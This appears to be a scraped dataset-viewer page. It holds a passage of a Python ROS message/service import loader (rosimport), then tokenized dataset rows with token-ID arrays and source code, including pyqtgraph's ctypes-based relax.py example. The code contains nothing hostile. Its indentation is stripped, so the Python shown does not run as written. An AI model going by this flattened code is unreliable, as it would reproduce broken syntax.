# and add it to the list of paths to avoid going through this all over again...
for p in mod.__path__:
# Note we want dependencies here. dependencies are ALWAYS '.msg' files in 'msg' directory.
msg_path = os.path.join(p)
# We add a path only if we can find the 'msg' directory
self[item] = self.get(item, set() | ({msg_path} if os.path.exists(msg_path) else set()))
return mod
except ImportError:
# import failed
return None
def __contains__(self, item):
""" True if D has a key k, else False. """
has = super(RosSearchPath, self).__contains__(item)
if not has: # attempt importing. solving ROS path setup problem with python import paths setup.
self.try_import(item)
# Note : if ROS is setup, rospkg.RosPack can find packages
# try again (might work now)
return super(RosSearchPath, self).__contains__(item)
def __getitem__(self, item):
""" x.__getitem__(y) <==> x[y] """
got = super(RosSearchPath, self).get(item)
if got is None:
# attempt discovery by relying on python core import feature.
self.try_import(item)
# Note : if ROS is setup, rospkg.RosPack can find packages
return super(RosSearchPath, self).get(item)
# singleton instance, to keep used ros package paths in cache
ros_import_search_path = RosSearchPath()
def RosLoader(rosdef_extension):
"""
Function generating ROS loaders.
This is used to keep .msg and .srv loaders very similar
"""
if rosdef_extension == '.msg':
loader_origin_subdir = 'msg'
loader_file_extension = rosdef_extension
loader_generated_subdir = 'msg'
loader_generator = genrosmsg_py
elif rosdef_extension == '.srv':
loader_origin_subdir = 'srv'
loader_file_extension = rosdef_extension
loader_generated_subdir = 'srv'
loader_generator = genrossrv_py
else:
raise RuntimeError("RosLoader for a format {0} other than .msg or .srv is not supported".format(rosdef_extension))
import filefinder2.machinery
class ROSDefLoader(filefinder2.machinery.SourceFileLoader):
"""
Python Loader for Rosdef files.
Note : We support ROS layout :
- msg/myMsg.msg
- srv/mySrv.srv
- my_pkg/__init__.py # doesnt really matters ( we rely on PEP 420 )
OR inside the python code:
- my_pkg/__init__.py # doesnt really matters ( we rely on PEP 420 )
- my_pkg/msg/myMsg.msg
- my_pkg/srv/mySrv.srv
BUT the following is also importable relatively,
which is especially useful for tests or intra-package ROS communication,
although it cannot be used as another package dependency (due to ROS limitations)
- my_pkg/__init__.py # doesnt really matters ( we rely on PEP 420 )
- my_pkg/subpkg/__init__.py # doesnt really matters ( we rely on PEP 420 )
- my_pkg/subpkg/msg/myMsg.msg
- my_pkg/subpkg/srv/mySrv.srv
In that case myMsg.py will also be generated under mypkg.msg,
but can be imported relatively from my_pkg/subpkg/module.py with "from .msg import mypkg"
"""
rosimport_tempdir = os.path.join(tempfile.gettempdir(), 'rosimport')
def __init__(self, fullname, path):
self.logger = logging.getLogger(__name__)
# to normalize input
path = os.path.normpath(path)
# Doing this in each loader, in case we are running from different processes,
# avoiding to reload from same file (especially useful for boxed tests).
# But deterministic path to avoid regenerating from the same interpreter
rosimport_path = os.path.join(self.rosimport_tempdir, str(os.getpid()))
if not os.path.exists(rosimport_path):
os.makedirs(rosimport_path)
rospackage = fullname.partition('.')[0]
if os.path.isdir(path):
# if we get a package name ending with msg or srv and a non empty directory
if (
fullname.endswith(loader_origin_subdir) and
any([f.endswith(loader_file_extension) for f in os.listdir(path)])
):
# TODO : dynamic in memory generation (we do not need the file ultimately...)
outdir, gen_rosdef_pkgpath = loader_generator(
# generate message's python code at once, for this package level.
rosdef_files=[os.path.join(path, f) for f in os.listdir(path)],
package=fullname,
sitedir=rosimport_path,
search_path=ros_import_search_path,
)
# TODO : handle thrown exception (cleaner than hacking the search path dict...)
# try:
# generator.generate_messages(package, rosfiles, outdir, search_path)
# except genmsg.MsgNotFound as mnf:
# try:
# mod = importlib.import_module(mnf.package)
# # import succeeded : we should get the namespace path that has '/msg'
# # and add it to the list of paths to avoid going through this all over again...
# for p in mod.__path__:
# # Note we want dependencies here. dependencies are ALWAYS '.msg' files in 'msg' directory.
# msg_path = os.path.join(p, genmsg_MSG_DIR)
# # We add a path only if we can find the 'msg' directory
# search_path[mnf.package] = search_path[mnf.package] + ([msg_path] if os.path.exists(msg_path) else [])
# # Try generation again
# generator.generate_messages(package, rosfiles, outdir, search_path)
# except ImportError:
# # import failed
# return None
if not os.path.exists(gen_rosdef_pkgpath):
raise ImportError("{0} file not found".format(gen_rosdef_pkgpath))
# relying on usual source file loader since we have generated normal python code
super(ROSDefLoader, self).__init__(fullname, gen_rosdef_pkgpath)
def get_gen_path(self):
"""Returning the generated path matching the import"""
return self.path # TODO : maybe useless ?
# return os.path.join(self.outdir_pkg, loader_generated_subdir)
def __repr__(self):
return "ROSDefLoader/{0}({1}, {2})".format(loader_file_extension, self.name, self.path)
@staticmethod
def get_file_extension():
return loader_file_extension
@staticmethod
def get_origin_subdir():
return loader_origin_subdir
@staticmethod
def get_generated_subdir():
return loader_generated_subdir
return ROSDefLoader
ROSMsgLoader = RosLoader(rosdef_extension='.msg')
ROSSrvLoader = RosLoader(rosdef_extension='.srv')
| [
1,
529,
9507,
29958,
1883,
5215,
19891,
1883,
1753,
29918,
12657,
29889,
2272,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
29892,
8542,
29892,
1596,
29918,
2220,
13,
13,
5215,
3030,
1982,
13,
5215,
1053,
1982,
13,
5215,
3268,
13,
5215,
5694,
1445,
13,
13,
5215,
528,
4422,
13,
13,
13,
3166,
696,
3601,
637,
1053,
2531,
1883,
7645,
29918,
2272,
29892,
2531,
2124,
15291,
29918,
2272,
13,
13,
15945,
29908,
13,
29909,
3883,
304,
6230,
2888,
527,
18505,
363,
869,
7645,
322,
869,
29879,
15291,
2066,
13,
29965,
1112,
1053,
29892,
372,
674,
937,
1284,
278,
869,
7645,
934,
29892,
769,
5706,
278,
3017,
3883,
363,
372,
29892,
769,
2254,
372,
29889,
13,
13,
4986,
3970,
856,
13,
15945,
29908,
13,
13,
29937,
1334,
817,
304,
367,
4805,
16010,
411,
3017,
6910,
13,
29937,
9897,
584,
2045,
597,
2640,
29889,
4691,
29889,
990,
29914,
3359,
29914,
5258,
29914,
5215,
1982,
29889,
1420,
29937,
5215,
1982,
29889,
5215,
29918,
5453,
13,
13,
29937,
9897,
584,
1732,
597,
2417,
29889,
510,
29914,
2619,
29914,
29953,
29955,
29953,
29941,
29896,
29914,
3525,
29899,
517,
29899,
5215,
29899,
29874,
29899,
5453,
29899,
29887,
5428,
29899,
1552,
29899,
8159,
29899,
2084,
13,
29937,
3940,
584,
6527,
29876,
29915,
29873,
1284,
263,
982,
304,
1207,
2411,
29889,
1359,
29918,
4993,
5376,
411,
9741,
470,
6198,
24802,
313,
15107,
653,
363,
1749,
5759,
2643,
4413,
29897,
13,
5215,
2897,
13,
5215,
10876,
13,
5215,
12183,
13,
13,
13,
29937,
4134,
304,
2758,
7343,
2740,
310,
9741,
13,
1990,
5678,
7974,
2605,
29898,
8977,
1125,
13,
1678,
9995,
13,
1678,
4134,
304,
2758,
7343,
2740,
310,
9741,
29889,
13,
1678,
910,
338,
988,
591,
12422,
701,
964,
3017,
1053,
13336,
297,
1797,
304,
5706,
322,
6523,
13,
1678,
9741,
322,
7191,
591,
526,
8679,
373,
29889,
13,
13,
1678,
1205,
372,
881,
451,
367,
1304,
2645,
278,
12623,
310,
2999,
7191,
297,
871,
697,
3577,
29892,
13,
1678,
408,
445,
338,
2086,
28722,
304,
679,
1492,
29892,
322,
2086,
4780,
304,
2867,
491,
10171,
29889,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3579,
1883,
29918,
5113,
29918,
24772,
1125,
13,
4706,
396,
591,
671,
278,
2322,
390,
3267,
29918,
29925,
11375,
10461,
29918,
10145,
565,
2307,
6230,
297,
5177,
29889,
13,
4706,
396,
910,
6511,
502,
304,
1284,
2643,
15848,
297,
263,
390,
3267,
1320,
307,
313,
392,
11465,
403,
411,
11451,
1883,
29918,
14669,
29897,
13,
4706,
3577,
29918,
24772,
353,
6571,
13,
4706,
363,
1320,
1336,
493,
297,
518,
29881,
363,
270,
297,
2897,
29889,
21813,
29889,
657,
877,
1672,
29903,
29918,
29925,
11375,
10461,
29918,
10145,
742,
525,
2824,
5451,
877,
29901,
1495,
565,
2897,
29889,
2084,
29889,
9933,
29898,
29881,
4638,
29901,
13,
9651,
363,
282,
297,
518,
15865,
29881,
363,
282,
9415,
29881,
297,
2897,
29889,
1761,
3972,
29898,
5721,
1336,
493,
29897,
565,
2897,
29889,
2084,
29889,
9933,
29898,
359,
29889,
2084,
29889,
7122,
29898,
5721,
1336,
493,
29892,
282,
9415,
29881,
29892,
525,
7645,
8785,
5387,
13,
18884,
3577,
29918,
24772,
29961,
29886,
29962,
353,
3577,
29918,
24772,
29889,
657,
29898,
29886,
29892,
731,
3101,
891,
426,
359,
29889,
2084,
29889,
7122,
29898,
5721,
1336,
493,
29892,
282,
29892,
525,
7645,
1495,
29913,
13,
13,
4706,
396,
591,
788,
738,
4805,
2224,
13,
4706,
3577,
29918,
24772,
29889,
5504,
29898,
1883,
29918,
5113,
29918,
24772,
29897,
13,
4706,
2428,
29898,
29934,
359,
7974,
2605,
29892,
1583,
467,
1649,
2344,
12035,
5113,
29918,
24772,
29897,
13,
13,
1678,
822,
1018,
29918,
5215,
29898,
1311,
29892,
2944,
1125,
13,
4706,
1018,
29901,
13,
9651,
396,
591,
817,
304,
1053,
278,
869,
7645,
1014,
5453,
313,
6194,
697,
502,
519,
408,
10609,
29897,
13,
9651,
878,
353,
1053,
1982,
29889,
5215,
29918,
5453,
29898,
667,
718,
15300,
7645,
1495,
13,
9651,
396,
1053,
14792,
584,
591,
881,
679,
278,
7397,
2224,
13,
9651,
396,
322,
788,
372,
304,
278,
1051,
310,
10898,
304,
4772,
2675,
1549,
445,
599,
975,
1449,
856,
13,
9651,
363,
282,
297,
878,
17255,
2084,
1649,
29901,
13,
18884,
396,
3940,
591,
864,
9962,
1244,
29889,
9962,
526,
14445,
12982,
21554,
15300,
7645,
29915,
2066,
297,
525,
7645,
29915,
3884,
29889,
13,
18884,
10191,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
29886,
29897,
13,
18884,
396,
1334,
788,
263,
2224,
871,
565,
591,
508,
1284,
278,
525,
7645,
29915,
3884,
13,
18884,
1583,
29961,
667,
29962,
353,
1583,
29889,
657,
29898,
667,
29892,
731,
580,
891,
21313,
7645,
29918,
2084,
29913,
565,
2897,
29889,
2084,
29889,
9933,
29898,
7645,
29918,
2084,
29897,
1683,
731,
22130,
13,
9651,
736,
878,
13,
4706,
5174,
16032,
2392,
29901,
13,
9651,
396,
1053,
5229,
13,
9651,
736,
6213,
13,
13,
1678,
822,
4770,
11516,
12035,
1311,
29892,
2944,
1125,
13,
4706,
9995,
5852,
565,
360,
756,
263,
1820,
413,
29892,
1683,
7700,
29889,
9995,
13,
4706,
756,
353,
2428,
29898,
29934,
359,
7974,
2605,
29892,
1583,
467,
1649,
11516,
12035,
667,
29897,
13,
4706,
565,
451,
756,
29901,
29871,
396,
4218,
28348,
29889,
17069,
390,
3267,
2224,
6230,
1108,
411,
3017,
1053,
10898,
6230,
29889,
13,
9651,
1583,
29889,
2202,
29918,
5215,
29898,
667,
29897,
13,
9651,
396,
3940,
584,
565,
390,
3267,
338,
6230,
29892,
696,
1028,
9415,
29889,
29934,
359,
16638,
508,
1284,
9741,
13,
4706,
396,
1018,
1449,
313,
29885,
523,
664,
1286,
29897,
13,
4706,
736,
2428,
29898,
29934,
359,
7974,
2605,
29892,
1583,
467,
1649,
11516,
12035,
667,
29897,
13,
13,
1678,
822,
4770,
657,
667,
12035,
1311,
29892,
2944,
1125,
13,
4706,
9995,
921,
17255,
657,
667,
12035,
29891,
29897,
529,
1360,
29958,
921,
29961,
29891,
29962,
9995,
13,
4706,
2355,
353,
2428,
29898,
29934,
359,
7974,
2605,
29892,
1583,
467,
657,
29898,
667,
29897,
13,
4706,
565,
2355,
338,
6213,
29901,
13,
9651,
396,
4218,
20699,
491,
337,
5890,
373,
3017,
7136,
1053,
4682,
29889,
13,
9651,
1583,
29889,
2202,
29918,
5215,
29898,
667,
29897,
13,
9651,
396,
3940,
584,
565,
390,
3267,
338,
6230,
29892,
696,
1028,
9415,
29889,
29934,
359,
16638,
508,
1284,
9741,
13,
4706,
736,
2428,
29898,
29934,
359,
7974,
2605,
29892,
1583,
467,
657,
29898,
667,
29897,
13,
13,
29937,
27130,
2777,
29892,
304,
3013,
1304,
14652,
3577,
10898,
297,
7090,
13,
1883,
29918,
5215,
29918,
4478,
29918,
2084,
353,
5678,
7974,
2605,
580,
13,
13,
13,
1753,
5678,
10036,
29898,
1883,
1753,
29918,
17588,
1125,
13,
1678,
9995,
13,
1678,
6680,
14655,
390,
3267,
2254,
414,
29889,
13,
1678,
910,
338,
1304,
304,
3013,
869,
7645,
322,
869,
29879,
15291,
2254,
414,
1407,
2788,
13,
1678,
9995,
13,
1678,
565,
14652,
1753,
29918,
17588,
1275,
15300,
7645,
2396,
13,
4706,
23466,
29918,
12574,
29918,
1491,
3972,
353,
525,
7645,
29915,
13,
4706,
23466,
29918,
1445,
29918,
17588,
353,
14652,
1753,
29918,
17588,
13,
4706,
23466,
29918,
13525,
29918,
1491,
3972,
353,
525,
7645,
29915,
13,
4706,
23466,
29918,
27959,
353,
2531,
1883,
7645,
29918,
2272,
13,
1678,
25342,
14652,
1753,
29918,
17588,
1275,
15300,
29879,
15291,
2396,
13,
4706,
23466,
29918,
12574,
29918,
1491,
3972,
353,
525,
29879,
15291,
29915,
13,
4706,
23466,
29918,
1445,
29918,
17588,
353,
14652,
1753,
29918,
17588,
13,
4706,
23466,
29918,
13525,
29918,
1491,
3972,
353,
525,
29879,
15291,
29915,
13,
4706,
23466,
29918,
27959,
353,
2531,
2124,
15291,
29918,
2272,
13,
1678,
1683,
29901,
13,
4706,
12020,
24875,
2392,
703,
29934,
359,
10036,
363,
263,
3402,
426,
29900,
29913,
916,
1135,
869,
7645,
470,
869,
29879,
15291,
338,
451,
6969,
1642,
4830,
29898,
1883,
1753,
29918,
17588,
876,
13,
13,
1678,
1053,
934,
2886,
261,
29906,
29889,
29885,
496,
262,
708,
13,
13,
1678,
770,
390,
3267,
3206,
10036,
29898,
1445,
2886,
261,
29906,
29889,
29885,
496,
262,
708,
29889,
4435,
2283,
10036,
1125,
13,
4706,
9995,
13,
4706,
5132,
4309,
1664,
363,
5678,
1753,
2066,
29889,
13,
4706,
3940,
584,
1334,
2304,
390,
3267,
5912,
584,
13,
4706,
448,
10191,
29914,
1357,
16190,
29889,
7645,
13,
4706,
448,
269,
15291,
29914,
1357,
29903,
15291,
29889,
29879,
15291,
13,
4706,
448,
590,
29918,
15865,
29914,
1649,
2344,
26914,
2272,
29871,
396,
19403,
2289,
13750,
313,
591,
19104,
373,
349,
15488,
29871,
29946,
29906,
29900,
1723,
13,
4706,
6323,
2768,
278,
3017,
775,
29901,
13,
4706,
448,
590,
29918,
15865,
29914,
1649,
2344,
26914,
2272,
29871,
396,
19403,
2289,
13750,
313,
591,
19104,
373,
349,
15488,
29871,
29946,
29906,
29900,
1723,
13,
4706,
448,
590,
29918,
15865,
29914,
7645,
29914,
1357,
16190,
29889,
7645,
13,
4706,
448,
590,
29918,
15865,
29914,
29879,
15291,
29914,
1357,
29903,
15291,
29889,
29879,
15291,
13,
13,
4706,
350,
2692,
278,
1494,
338,
884,
1053,
519,
13774,
29892,
13,
4706,
607,
338,
7148,
5407,
363,
6987,
470,
938,
336,
29899,
5113,
390,
3267,
12084,
29892,
13,
4706,
5998,
372,
2609,
367,
1304,
408,
1790,
3577,
10609,
313,
29123,
304,
390,
3267,
27028,
29897,
13,
13,
4706,
448,
590,
29918,
15865,
29914,
1649,
2344,
26914,
2272,
29871,
396,
19403,
2289,
13750,
313,
591,
19104,
373,
349,
15488,
29871,
29946,
29906,
29900,
1723,
13,
4706,
448,
590,
29918,
15865,
29914,
1491,
15865,
29914,
1649,
2344,
26914,
2272,
396,
19403,
2289,
13750,
313,
591,
19104,
373,
349,
15488,
29871,
29946,
29906,
29900,
1723,
13,
4706,
448,
590,
29918,
15865,
29914,
1491,
15865,
29914,
7645,
29914,
1357,
16190,
29889,
7645,
13,
4706,
448,
590,
29918,
15865,
29914,
1491,
15865,
29914,
29879,
15291,
29914,
1357,
29903,
15291,
29889,
29879,
15291,
13,
13,
4706,
512,
393,
1206,
590,
16190,
29889,
2272,
674,
884,
367,
5759,
1090,
590,
15865,
29889,
7645,
29892,
13,
4706,
541,
508,
367,
19673,
13774,
515,
590,
29918,
15865,
29914,
1491,
15865,
29914,
5453,
29889,
2272,
411,
376,
3166,
869,
7645,
1053,
590,
15865,
29908,
13,
4706,
9995,
13,
13,
4706,
696,
3601,
637,
29918,
7382,
3972,
353,
2897,
29889,
2084,
29889,
7122,
29898,
7382,
1445,
29889,
657,
7382,
3972,
3285,
525,
1883,
5215,
1495,
13,
13,
4706,
822,
4770,
2344,
12035,
1311,
29892,
2989,
978,
29892,
2224,
1125,
13,
13,
9651,
1583,
29889,
21707,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
29897,
13,
9651,
396,
304,
4226,
675,
1881,
13,
9651,
2224,
353,
2897,
29889,
2084,
29889,
12324,
2084,
29898,
2084,
29897,
13,
13,
9651,
396,
1938,
292,
445,
297,
1269,
23466,
29892,
297,
1206,
591,
526,
2734,
515,
1422,
10174,
29892,
13,
9651,
396,
4772,
292,
304,
19763,
515,
1021,
934,
313,
267,
25009,
5407,
363,
3800,
287,
6987,
467,
13,
9651,
396,
1205,
11806,
4695,
2224,
304,
4772,
1072,
759,
1218,
515,
278,
1021,
26997,
13,
9651,
696,
3601,
637,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
1883,
5215,
29918,
7382,
3972,
29892,
851,
29898,
359,
29889,
657,
5935,
22130,
13,
9651,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
1883,
5215,
29918,
2084,
1125,
13,
18884,
2897,
29889,
29885,
12535,
12935,
29898,
1883,
5215,
29918,
2084,
29897,
13,
13,
9651,
696,
1028,
2229,
353,
2989,
978,
29889,
16707,
12839,
29861,
29900,
29962,
13,
13,
9651,
565,
2897,
29889,
2084,
29889,
275,
3972,
29898,
2084,
1125,
13,
18884,
396,
565,
591,
679,
263,
3577,
1024,
17140,
411,
10191,
470,
269,
15291,
322,
263,
1661,
4069,
3884,
13,
18884,
565,
313,
13,
462,
9651,
2989,
978,
29889,
1975,
2541,
29898,
12657,
29918,
12574,
29918,
1491,
3972,
29897,
322,
13,
462,
9651,
738,
4197,
29888,
29889,
1975,
2541,
29898,
12657,
29918,
1445,
29918,
17588,
29897,
363,
285,
297,
2897,
29889,
1761,
3972,
29898,
2084,
29897,
2314,
13,
462,
1125,
13,
13,
462,
1678,
396,
14402,
584,
7343,
297,
3370,
12623,
313,
705,
437,
451,
817,
278,
934,
18973,
11410,
13,
462,
1678,
714,
3972,
29892,
2531,
29918,
1883,
1753,
29918,
15865,
2084,
353,
23466,
29918,
27959,
29898,
13,
462,
4706,
396,
5706,
2643,
29915,
29879,
3017,
775,
472,
2748,
29892,
363,
445,
3577,
3233,
29889,
13,
462,
4706,
14652,
1753,
29918,
5325,
11759,
359,
29889,
2084,
29889,
7122,
29898,
2084,
29892,
285,
29897,
363,
285,
297,
2897,
29889,
1761,
3972,
29898,
2084,
29897,
1402,
13,
462,
4706,
3577,
29922,
8159,
978,
29892,
13,
462,
4706,
269,
1573,
381,
29922,
1883,
5215,
29918,
2084,
29892,
13,
462,
4706,
2740,
29918,
2084,
29922,
1883,
29918,
5215,
29918,
4478,
29918,
2084,
29892,
13,
462,
1678,
1723,
13,
462,
1678,
396,
14402,
584,
4386,
12005,
3682,
313,
14941,
261,
1135,
15833,
292,
278,
2740,
2224,
9657,
11410,
13,
462,
1678,
396,
1018,
29901,
13,
462,
1678,
396,
268,
15299,
29889,
17158,
29918,
19158,
29898,
5113,
29892,
14652,
5325,
29892,
714,
3972,
29892,
2740,
29918,
2084,
29897,
13,
462,
1678,
396,
5174,
2531,
7645,
29889,
16190,
17413,
408,
28597,
29888,
29901,
13,
462,
1678,
396,
268,
1018,
29901,
13,
462,
1678,
396,
308,
878,
353,
1053,
1982,
29889,
5215,
29918,
5453,
29898,
23521,
29888,
29889,
5113,
29897,
13,
462,
1678,
396,
308,
396,
1053,
14792,
584,
591,
881,
679,
278,
7397,
2224,
393,
756,
8207,
7645,
29915,
13,
462,
1678,
396,
308,
396,
322,
788,
372,
304,
278,
1051,
310,
10898,
304,
4772,
2675,
1549,
445,
599,
975,
1449,
856,
13,
462,
1678,
396,
308,
363,
282,
297,
878,
17255,
2084,
1649,
29901,
13,
462,
1678,
396,
632,
396,
3940,
591,
864,
9962,
1244,
29889,
9962,
526,
14445,
12982,
21554,
15300,
7645,
29915,
2066,
297,
525,
7645,
29915,
3884,
29889,
13,
462,
1678,
396,
632,
10191,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
29886,
29892,
2531,
7645,
29918,
4345,
29954,
29918,
9464,
29897,
13,
462,
1678,
396,
632,
396,
1334,
788,
263,
2224,
871,
565,
591,
508,
1284,
278,
525,
7645,
29915,
3884,
13,
462,
1678,
396,
632,
2740,
29918,
2084,
29961,
23521,
29888,
29889,
5113,
29962,
353,
2740,
29918,
2084,
29961,
23521,
29888,
29889,
5113,
29962,
718,
9310,
7645,
29918,
2084,
29962,
565,
2897,
29889,
2084,
29889,
9933,
29898,
7645,
29918,
2084,
29897,
1683,
518,
2314,
13,
462,
1678,
396,
308,
396,
3967,
12623,
1449,
13,
462,
1678,
396,
308,
15299,
29889,
17158,
29918,
19158,
29898,
5113,
29892,
14652,
5325,
29892,
714,
3972,
29892,
2740,
29918,
2084,
29897,
13,
462,
1678,
396,
268,
5174,
16032,
2392,
29901,
13,
462,
1678,
396,
308,
396,
1053,
5229,
13,
462,
1678,
396,
308,
736,
6213,
13,
13,
462,
1678,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
1885,
29918,
1883,
1753,
29918,
15865,
2084,
1125,
13,
462,
4706,
12020,
16032,
2392,
703,
29912,
29900,
29913,
934,
451,
1476,
1642,
4830,
29898,
1885,
29918,
1883,
1753,
29918,
15865,
2084,
876,
13,
13,
462,
1678,
396,
337,
5890,
373,
9670,
2752,
934,
23466,
1951,
591,
505,
5759,
4226,
3017,
775,
13,
462,
1678,
2428,
29898,
1672,
29903,
3206,
10036,
29892,
1583,
467,
1649,
2344,
12035,
8159,
978,
29892,
2531,
29918,
1883,
1753,
29918,
15865,
2084,
29897,
13,
13,
4706,
822,
679,
29918,
1885,
29918,
2084,
29898,
1311,
1125,
13,
9651,
9995,
11609,
292,
278,
5759,
2224,
9686,
278,
1053,
15945,
29908,
13,
9651,
736,
1583,
29889,
2084,
29871,
396,
14402,
584,
5505,
19315,
1577,
13,
9651,
396,
736,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
449,
3972,
29918,
15865,
29892,
23466,
29918,
13525,
29918,
1491,
3972,
29897,
13,
13,
4706,
822,
4770,
276,
558,
12035,
1311,
1125,
13,
9651,
736,
376,
1672,
29903,
3206,
10036,
19248,
29900,
2119,
29912,
29896,
1118,
426,
29906,
1800,
1642,
4830,
29898,
12657,
29918,
1445,
29918,
17588,
29892,
1583,
29889,
978,
29892,
1583,
29889,
2084,
29897,
13,
13,
4706,
732,
7959,
5696,
13,
4706,
822,
679,
29918,
1445,
29918,
17588,
7295,
13,
9651,
736,
23466,
29918,
1445,
29918,
17588,
13,
13,
4706,
732,
7959,
5696,
13,
4706,
822,
679,
29918,
12574,
29918,
1491,
3972,
7295,
13,
9651,
736,
23466,
29918,
12574,
29918,
1491,
3972,
13,
13,
4706,
732,
7959,
5696,
13,
4706,
822,
679,
29918,
13525,
29918,
1491,
3972,
7295,
13,
9651,
736,
23466,
29918,
13525,
29918,
1491,
3972,
13,
13,
1678,
736,
390,
3267,
3206,
10036,
13,
13,
1672,
29903,
16190,
10036,
353,
5678,
10036,
29898,
1883,
1753,
29918,
17588,
2433,
29889,
7645,
1495,
13,
1672,
1799,
15291,
10036,
353,
5678,
10036,
29898,
1883,
1753,
29918,
17588,
2433,
29889,
29879,
15291,
1495,
13,
2
] |
examples/verlet_chain/relax.py | Peque/pyqtgraph | 0 | 53516 | import ctypes
import os
so = os.path.join(os.path.dirname(__file__), 'maths.so')
lib = ctypes.CDLL(so)
lib.relax.argtypes = [
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_int,
ctypes.c_int,
]
def relax(pos, links, mrel1, mrel2, lengths, push, pull, iters):
nlinks = links.shape[0]
lib.relax(pos.ctypes, links.ctypes, mrel1.ctypes, mrel2.ctypes, lengths.ctypes, push.ctypes, pull.ctypes, nlinks, iters)
| [
1,
1053,
274,
8768,
13,
5215,
2897,
13,
13,
578,
353,
2897,
29889,
2084,
29889,
7122,
29898,
359,
29889,
2084,
29889,
25721,
22168,
1445,
1649,
511,
525,
755,
29879,
29889,
578,
1495,
13,
1982,
353,
274,
8768,
29889,
6530,
2208,
29898,
578,
29897,
13,
13,
1982,
29889,
27480,
29889,
1191,
8768,
353,
518,
13,
1678,
274,
8768,
29889,
29883,
29918,
5405,
29918,
29886,
29892,
13,
1678,
274,
8768,
29889,
29883,
29918,
5405,
29918,
29886,
29892,
13,
1678,
274,
8768,
29889,
29883,
29918,
5405,
29918,
29886,
29892,
13,
1678,
274,
8768,
29889,
29883,
29918,
5405,
29918,
29886,
29892,
13,
1678,
274,
8768,
29889,
29883,
29918,
5405,
29918,
29886,
29892,
13,
1678,
274,
8768,
29889,
29883,
29918,
5405,
29918,
29886,
29892,
13,
1678,
274,
8768,
29889,
29883,
29918,
5405,
29918,
29886,
29892,
13,
1678,
274,
8768,
29889,
29883,
29918,
524,
29892,
13,
1678,
274,
8768,
29889,
29883,
29918,
524,
29892,
13,
1678,
4514,
13,
13,
1753,
26681,
29898,
1066,
29892,
2988,
29892,
286,
2674,
29896,
29892,
286,
2674,
29906,
29892,
27497,
29892,
5503,
29892,
8206,
29892,
372,
414,
1125,
13,
1678,
302,
4965,
353,
2988,
29889,
12181,
29961,
29900,
29962,
13,
1678,
4303,
29889,
27480,
29898,
1066,
29889,
312,
7384,
29892,
2988,
29889,
312,
7384,
29892,
286,
2674,
29896,
29889,
312,
7384,
29892,
286,
2674,
29906,
29889,
312,
7384,
29892,
27497,
29889,
312,
7384,
29892,
5503,
29889,
312,
7384,
29892,
8206,
29889,
312,
7384,
29892,
302,
4965,
29892,
372,
414,
29897,
13,
268,
13,
13,
2
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.